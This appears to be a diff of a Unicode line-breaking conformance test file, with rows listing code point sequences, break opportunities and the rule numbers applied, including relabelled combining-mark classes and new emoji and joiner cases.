-× 0020 ÷ 0308 × 0020 × 200B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0020 ÷ 0308 × 200B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 200B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0020 ÷ 1F1E6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0020 × 0020 ÷ 1F1E6 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0020 ÷ 261D ÷ # × [0.3] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0020 × 0020 ÷ 261D ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 261D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 261D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0020 ÷ 1F3FB ÷ # × [0.3] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0020 × 0020 ÷ 1F3FB ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 1F3FB ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0020 ÷ 0001 ÷ # × [0.3] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0020 × 0020 ÷ 0001 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0020 ÷ 0308 × 0001 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0020 ÷ 200D ÷ # × [0.3] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0020 × 0020 ÷ 200D ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0020 ÷ 0308 × 200D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 200D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0020 ÷ 00A7 ÷ # × [0.3] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0020 × 0020 ÷ 00A7 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0020 ÷ 0308 × 00A7 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0020 ÷ 0308 × 00A7 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0020 ÷ 50005 ÷ # × [0.3] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0020 × 0020 ÷ 50005 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0020 ÷ 0308 × 50005 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0020 ÷ 0308 × 50005 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0020 ÷ 0E01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0020 × 0020 ÷ 0E01 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0020 ÷ 0308 × 0E01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0020 ÷ 0308 × 0E01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0020 ÷ 3041 ÷ # × [0.3] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0020 × 0020 ÷ 3041 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0020 ÷ 0308 × 3041 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0020 ÷ 0308 × 3041 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 002F ÷ 0023 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 002F × 0020 ÷ 0023 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 002F × 0308 ÷ 0023 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0023 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 002F × 0308 ÷ 0023 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0023 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 002F ÷ 2014 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 002F × 0020 ÷ 2014 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 002F × 0308 ÷ 2014 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 2014 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 002F × 0308 ÷ 2014 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 2014 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 002F × 0009 ÷ # × [0.3] SOLIDUS (SY) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 002F × 0020 ÷ 0009 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 002F × 0308 × 0009 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0009 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 002F × 0308 × 0009 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0009 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 002F ÷ 00B4 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 002F × 0020 ÷ 00B4 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 002F × 0308 ÷ 00B4 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 002F × 0308 ÷ 00B4 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 002F × 000B ÷ # × [0.3] SOLIDUS (SY) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 002F × 0020 × 000B ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 002F × 0308 × 000B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 002F × 0308 × 0020 × 000B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 002F × 0308 × 000B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 002F × 0308 × 0020 × 000B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 002F ÷ FFFC ÷ # × [0.3] SOLIDUS (SY) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 002F × 0020 ÷ FFFC ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 002F × 0308 ÷ FFFC ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ FFFC ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 002F × 0308 ÷ FFFC ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ FFFC ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 002F × 007D ÷ # × [0.3] SOLIDUS (SY) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 002F × 0020 × 007D ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 002F × 0308 × 007D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 002F × 0308 × 0020 × 007D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 002F × 0308 × 007D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 002F × 0308 × 0020 × 007D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 002F × 0029 ÷ # × [0.3] SOLIDUS (SY) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 002F × 0020 × 0029 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002F × 0308 × 0029 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002F × 0308 × 0020 × 0029 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002F × 0001 ÷ # × [0.3] SOLIDUS (SY) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002F × 0020 ÷ 0001 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002F × 0308 × 0001 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0001 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 002F × 0308 × 0029 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 002F × 0308 × 0020 × 0029 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 002F × 000D ÷ # × [0.3] SOLIDUS (SY) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 002F × 0020 × 000D ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 002F × 0308 × 000D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 002F × 0308 × 0020 × 000D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 002F × 0308 × 000D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 002F × 0308 × 0020 × 000D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 002F × 0021 ÷ # × [0.3] SOLIDUS (SY) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 002F × 0020 × 0021 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 002F × 0308 × 0021 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 002F × 0308 × 0020 × 0021 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 002F × 0308 × 0021 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 002F × 0308 × 0020 × 0021 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 002F × 00A0 ÷ # × [0.3] SOLIDUS (SY) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 002F × 0020 ÷ 00A0 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 002F × 0308 × 00A0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 002F × 0308 × 00A0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 002F ÷ AC00 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 002F × 0020 ÷ AC00 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 002F × 0308 ÷ AC00 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ AC00 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 002F × 0308 ÷ AC00 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ AC00 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 002F ÷ AC01 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 002F × 0020 ÷ AC01 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 002F × 0308 ÷ AC01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ AC01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 002F × 0308 ÷ AC01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ AC01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 002F × 05D0 ÷ # × [0.3] SOLIDUS (SY) × [21.2] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 002F × 0020 ÷ 05D0 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 002F × 0308 × 05D0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [21.2] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 002F × 0308 × 05D0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.2] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 002F × 002D ÷ # × [0.3] SOLIDUS (SY) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 002F × 0020 ÷ 002D ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 002F × 0308 × 002D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 002D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 002F × 0308 × 002D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 002D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 002F ÷ 231A ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 002F × 0020 ÷ 231A ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 002F × 0308 ÷ 231A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 231A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 002F × 0308 ÷ 231A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 231A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 002F ÷ 2024 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 002F × 0020 ÷ 2024 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 002F × 0308 ÷ 2024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
